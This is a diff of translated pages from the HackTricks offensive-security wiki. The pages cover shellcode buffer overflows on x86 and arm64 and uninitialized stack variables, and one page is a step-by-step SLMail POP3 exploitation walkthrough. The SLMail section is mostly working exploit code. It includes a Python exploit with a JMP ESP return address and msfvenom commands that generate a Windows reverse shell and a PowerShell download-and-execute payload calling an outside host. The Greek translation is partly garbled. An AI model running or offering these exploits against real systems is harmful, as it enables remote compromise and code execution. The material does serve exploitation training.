p.interactive()
|
||||
```
|
||||
Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||||
|
||||
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
|
||||
Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.
|
||||
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
## Προστασίες
|
||||
|
||||
## Protections
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθείται ποτέ.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα γιατί αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR with stack address leak, write shellcode and jump to it
|
||||
- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR with stack leak, write shellcode and jump to it
|
||||
- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
|
||||
- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και πηδήξτε στο shellcode στη στοίβα
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,47 +2,40 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
Βρείτε μια εισαγωγή στο arm64 στο:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code 
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie, canary and nx:
|
||||
|
||||
Συγκέντρωση χωρίς pie, canary και nx:
|
||||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
## Χωρίς ASLR & Χωρίς canary - Stack Overflow 
|
||||
|
||||
## No ASLR & No canary - Stack Overflow 
|
||||
|
||||
To stop ASLR execute:
|
||||
|
||||
Για να σταματήσετε το ASLR εκτελέστε:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Για να αποκτήσετε το [**offset του bof ελέγξτε αυτόν τον σύνδεσμο**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
Exploit:
|
||||
|
||||
Εκμετάλλευση:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -73,9 +66,8 @@ p.send(payload)
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ θα ήταν η διεύθυνση στη στοίβα για να καλέσετε. Στην περίπτωσή μου, δημιούργησα την εκμετάλλευση με τη διεύθυνση που βρήκα χρησιμοποιώντας το gdb, αλλά στη συνέχεια όταν την εκμεταλλεύτηκα δεν λειτούργησε (επειδή η διεύθυνση της στοίβας άλλαξε λίγο).
|
||||
|
||||
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
|
||||
|
||||
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
|
||||
Άνοιξα το παραγόμενο **`core` file** (`gdb ./bog ./core`) και έλεγξα τη πραγματική διεύθυνση της αρχής του shellcode.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,68 +1,66 @@
|
||||
# Uninitialized Variables
|
||||
# Μη Αρχικοποιημένες Μεταβλητές
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
|
||||
Η βασική ιδέα εδώ είναι να κατανοήσουμε τι συμβαίνει με **τις μη αρχικοποιημένες μεταβλητές καθώς θα έχουν την τιμή που ήταν ήδη στη μνήμη που τους έχει ανατεθεί.** Παράδειγμα:
|
||||
|
||||
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
|
||||
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
|
||||
- **Συνάρτηση 1: `initializeVariable`**: Δηλώνουμε μια μεταβλητή `x` και της αναθέτουμε μια τιμή, ας πούμε `0x1234`. Αυτή η ενέργεια είναι παρόμοια με την κράτηση μιας θέσης στη μνήμη και την τοποθέτηση μιας συγκεκριμένης τιμής σε αυτήν.
|
||||
- **Συνάρτηση 2: `useUninitializedVariable`**: Εδώ, δηλώνουμε μια άλλη μεταβλητή `y` αλλά δεν της αναθέτουμε καμία τιμή. Στην C, οι μη αρχικοποιημένες μεταβλητές δεν ρυθμίζονται αυτόματα σε μηδέν. Αντίθετα, διατηρούν όποια τιμή ήταν τελευταία αποθηκευμένη στη θέση μνήμης τους.
|
||||
|
||||
When we run these two functions **sequentially**:
|
||||
Όταν εκτελούμε αυτές τις δύο συναρτήσεις **διαδοχικά**:
|
||||
|
||||
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
|
||||
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
|
||||
1. Στην `initializeVariable`, η `x` ανατίθεται μια τιμή (`0x1234`), η οποία καταλαμβάνει μια συγκεκριμένη διεύθυνση μνήμης.
|
||||
2. Στην `useUninitializedVariable`, η `y` δηλώνεται αλλά δεν της ανατίθεται τιμή, οπότε καταλαμβάνει τη θέση μνήμης αμέσως μετά την `x`. Λόγω της μη αρχικοποίησης της `y`, καταλήγει να "κληρονομεί" την τιμή από την ίδια θέση μνήμης που χρησιμοποιήθηκε από την `x`, επειδή αυτή είναι η τελευταία τιμή που υπήρχε εκεί.
|
||||
|
||||
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
|
||||
Αυτή η συμπεριφορά απεικονίζει μια βασική έννοια στον προγραμματισμό χαμηλού επιπέδου: **Η διαχείριση μνήμης είναι κρίσιμη**, και οι μη αρχικοποιημένες μεταβλητές μπορούν να οδηγήσουν σε απρόβλεπτη συμπεριφορά ή ευπάθειες ασφαλείας, καθώς μπορεί να κρατούν κατά λάθος ευαίσθητα δεδομένα που έχουν απομείνει στη μνήμη.
|
||||
|
||||
Uninitialized stack variables could pose several security risks like:
|
||||
Οι μη αρχικοποιημένες μεταβλητές στο στοίβα θα μπορούσαν να θέσουν αρκετούς κινδύνους ασφαλείας όπως:
|
||||
|
||||
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
|
||||
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
|
||||
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
|
||||
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
|
||||
|
||||
### Example
|
||||
- **Διαρροή Δεδομένων**: Ευαίσθητες πληροφορίες όπως κωδικοί πρόσβασης, κλειδιά κρυπτογράφησης ή προσωπικά στοιχεία μπορεί να εκτεθούν αν αποθηκευτούν σε μη αρχικοποιημένες μεταβλητές, επιτρέποντας στους επιτιθέμενους να διαβάσουν αυτά τα δεδομένα.
|
||||
- **Αποκάλυψη Πληροφοριών**: Το περιεχόμενο των μη αρχικοποιημένων μεταβλητών μπορεί να αποκαλύψει λεπτομέρειες σχετικά με τη διάταξη μνήμης του προγράμματος ή τις εσωτερικές λειτουργίες, βοηθώντας τους επιτιθέμενους να αναπτύξουν στοχευμένες εκμεταλλεύσεις.
|
||||
- **Κρατήσεις και Αστάθεια**: Οι λειτουργίες που περιλαμβάνουν μη αρχικοποιημένες μεταβλητές μπορεί να οδηγήσουν σε μη καθορισμένη συμπεριφορά, προκαλώντας κρατήσεις προγράμματος ή απρόβλεπτα αποτελέσματα.
|
||||
- **Εκτέλεση Αυθαίρετου Κώδικα**: Σε ορισμένα σενάρια, οι επιτιθέμενοι θα μπορούσαν να εκμεταλλευτούν αυτές τις ευπάθειες για να αλλάξουν τη ροή εκτέλεσης του προγράμματος, επιτρέποντάς τους να εκτελέσουν αυθαίρετο κώδικα, ο οποίος μπορεί να περιλαμβάνει απειλές εκτέλεσης απομακρυσμένου κώδικα.
|
||||
|
||||
### Παράδειγμα
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
// Function to initialize and print a variable
|
||||
void initializeAndPrint() {
|
||||
int initializedVar = 100; // Initialize the variable
|
||||
printf("Initialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
|
||||
int initializedVar = 100; // Initialize the variable
|
||||
printf("Initialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
|
||||
}
|
||||
|
||||
// Function to demonstrate the behavior of an uninitialized variable
|
||||
void demonstrateUninitializedVar() {
|
||||
int uninitializedVar; // Declare but do not initialize
|
||||
printf("Uninitialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
|
||||
int uninitializedVar; // Declare but do not initialize
|
||||
printf("Uninitialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
|
||||
}
|
||||
|
||||
int main() {
|
||||
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
|
||||
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
|
||||
|
||||
// First, call the function that initializes its variable
|
||||
initializeAndPrint();
|
||||
// First, call the function that initializes its variable
|
||||
initializeAndPrint();
|
||||
|
||||
// Then, call the function that has an uninitialized variable
|
||||
demonstrateUninitializedVar();
|
||||
// Then, call the function that has an uninitialized variable
|
||||
demonstrateUninitializedVar();
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### Πώς Λειτουργεί Αυτό:
|
||||
|
||||
#### How This Works:
|
||||
- **`initializeAndPrint` Συνάρτηση**: Αυτή η συνάρτηση δηλώνει μια ακέραια μεταβλητή `initializedVar`, της αναθέτει την τιμή `100`, και στη συνέχεια εκτυπώνει τόσο τη διεύθυνση μνήμης όσο και την τιμή της μεταβλητής. Αυτό το βήμα είναι απλό και δείχνει πώς συμπ behaves μια αρχικοποιημένη μεταβλητή.
|
||||
- **`demonstrateUninitializedVar` Συνάρτηση**: Σε αυτή τη συνάρτηση, δηλώνουμε μια ακέραια μεταβλητή `uninitializedVar` χωρίς να την αρχικοποιήσουμε. Όταν προσπαθούμε να εκτυπώσουμε την τιμή της, η έξοδος μπορεί να δείξει έναν τυχαίο αριθμό. Αυτός ο αριθμός αντιπροσωπεύει οποιαδήποτε δεδομένα ήταν προηγουμένως σε αυτή τη διεύθυνση μνήμης. Ανάλογα με το περιβάλλον και τον μεταγλωττιστή, η πραγματική έξοδος μπορεί να διαφέρει, και μερικές φορές, για λόγους ασφαλείας, ορισμένοι μεταγλωττιστές μπορεί να αρχικοποιούν αυτόματα τις μεταβλητές σε μηδέν, αν και αυτό δεν θα πρέπει να θεωρείται δεδομένο.
|
||||
- **`main` Συνάρτηση**: Η `main` συνάρτηση καλεί και τις δύο παραπάνω συναρτήσεις διαδοχικά, δείχνοντας τη διαφορά μεταξύ μιας αρχικοποιημένης μεταβλητής και μιας μη αρχικοποιημένης.
|
||||
|
||||
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
|
||||
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
|
||||
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
|
||||
## Παράδειγμα ARM64
|
||||
|
||||
## ARM64 Example
|
||||
|
||||
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
|
||||
Αυτό δεν αλλάζει καθόλου στο ARM64 καθώς οι τοπικές μεταβλητές διαχειρίζονται επίσης στο στοίβα, μπορείτε να [**ελέγξετε αυτό το παράδειγμα**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) όπου αυτό δείχνεται.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,20 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Start installing the SLMail service**
|
||||
## **Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail**
|
||||
|
||||
## Restart SLMail service
|
||||
|
||||
Every time you need to **restart the service SLMail** you can do it using the windows console:
|
||||
## Επανεκκίνηση της υπηρεσίας SLMail
|
||||
|
||||
Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
|
||||
.png>)
|
||||
|
||||
## Very basic python exploit template
|
||||
|
||||
## Πολύ βασικό πρότυπο εκμετάλλευσης python
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
@ -27,99 +24,89 @@ port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Αλλαγή Γραμματοσειράς Immunity Debugger**
|
||||
|
||||
## **Change Immunity Debugger Font**
|
||||
Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Attach the proces to Immunity Debugger:**
|
||||
## **Συνδέστε τη διαδικασία με το Immunity Debugger:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
.png>)
|
||||
|
||||
**And press START button**
|
||||
**Και πατήστε το κουμπί START**
|
||||
|
||||
## **Send the exploit and check if EIP is affected:**
|
||||
## **Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:**
|
||||
|
||||
.png>)
|
||||
|
||||
Every time you break the service you should restart it as is indicated in the beginnig of this page.
|
||||
Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας.
|
||||
|
||||
## Create a pattern to modify the EIP
|
||||
## Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP
|
||||
|
||||
The pattern should be as big as the buffer you used to broke the service previously.
|
||||
Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
|
||||
|
||||
.png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση.
|
||||
|
||||
Change the buffer of the exploit and set the pattern and lauch the exploit.
|
||||
|
||||
A new crash should appeard, but with a different EIP address:
|
||||
Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP:
|
||||
|
||||
.png>)
|
||||
|
||||
Check if the address was in your pattern:
|
||||
Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας:
|
||||
|
||||
.png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606** του buffer.
|
||||
|
||||
Looks like **we can modify the EIP in offset 2606** of the buffer.
|
||||
|
||||
Check it modifing the buffer of the exploit:
|
||||
|
||||
Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
|
||||
With this buffer the EIP crashed should point to 42424242 ("BBBB")
|
||||
Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει σε 42424242 ("BBBB")
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Looks like it is working.
|
||||
Φαίνεται ότι λειτουργεί.
|
||||
|
||||
## Check for Shellcode space inside the stack
|
||||
## Έλεγχος για χώρο Shellcode μέσα στη στοίβα
|
||||
|
||||
600B should be enough for any powerfull shellcode.
|
||||
|
||||
Lets change the bufer:
|
||||
600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode.
|
||||
|
||||
Ας αλλάξουμε το bufer:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
|
||||
launch the new exploit and check the EBP and the length of the usefull shellcode
|
||||
εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
|
||||
Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ.
|
||||
|
||||
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
|
||||
Σε αυτή την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό.
|
||||
|
||||
## Check for bad chars
|
||||
|
||||
Change again the buffer:
|
||||
## Έλεγχος για κακά χαρακτήρες
|
||||
|
||||
Αλλάξτε ξανά το buffer:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
@ -141,30 +128,27 @@ badchars = (
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό.
|
||||
|
||||
The badchars starts in 0x01 because 0x00 is almost always bad.
|
||||
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι:
|
||||
|
||||
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
|
||||
Για παράδειγμα:
|
||||
|
||||
For example:
|
||||
|
||||
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
|
||||
Σε αυτή την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας 0x09).
|
||||
|
||||
.png>)
|
||||
|
||||
In this case you can see that **the char 0x0D is avoided**:
|
||||
Σε αυτή την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**:
|
||||
|
||||
.png>)
|
||||
|
||||
## Find a JMP ESP as a return address
|
||||
|
||||
Using:
|
||||
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
|
||||
|
||||
Χρησιμοποιώντας:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
|
||||
You will **list the memory maps**. Search for some DLl that has:
|
||||
Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει:
|
||||
|
||||
- **Rebase: False**
|
||||
- **SafeSEH: False**
|
||||
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
|
||||
|
||||
.png>)
|
||||
|
||||
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
|
||||
|
||||
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
|
||||
**Then, if some address is found, choose one that don't contain any badchar:**
|
||||
**Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:**
|
||||
|
||||
.png>)
|
||||
|
||||
**In this case, for example: \_0x5f4a358f**\_
|
||||
|
||||
## Create shellcode
|
||||
**Σε αυτή την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
|
||||
|
||||
## Δημιουργία shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους).
|
||||
|
||||
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
|
||||
|
||||
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
|
||||
|
||||
**Προσθέστε μερικούς NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον και τη διεύθυνση επιστροφής για να JMP ESP, και ολοκληρώστε την εκμετάλλευση:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
@ -236,26 +215,23 @@ shellcode = (
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
|
||||
> Υπάρχουν shellcodes που θα **επικαλύψουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
|
||||
|
||||
## Improving the shellcode
|
||||
|
||||
Add this parameters:
|
||||
## Βελτίωση του shellcode
|
||||
|
||||
Προσθέστε αυτές τις παραμέτρους:
|
||||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,180 +1,176 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Concepts
|
||||
## Βασικές Έννοιες
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες.
|
||||
- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end.
|
||||
- **Tokens & Coins** διακρίνουν πού τα coins χρησιμεύουν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα.
|
||||
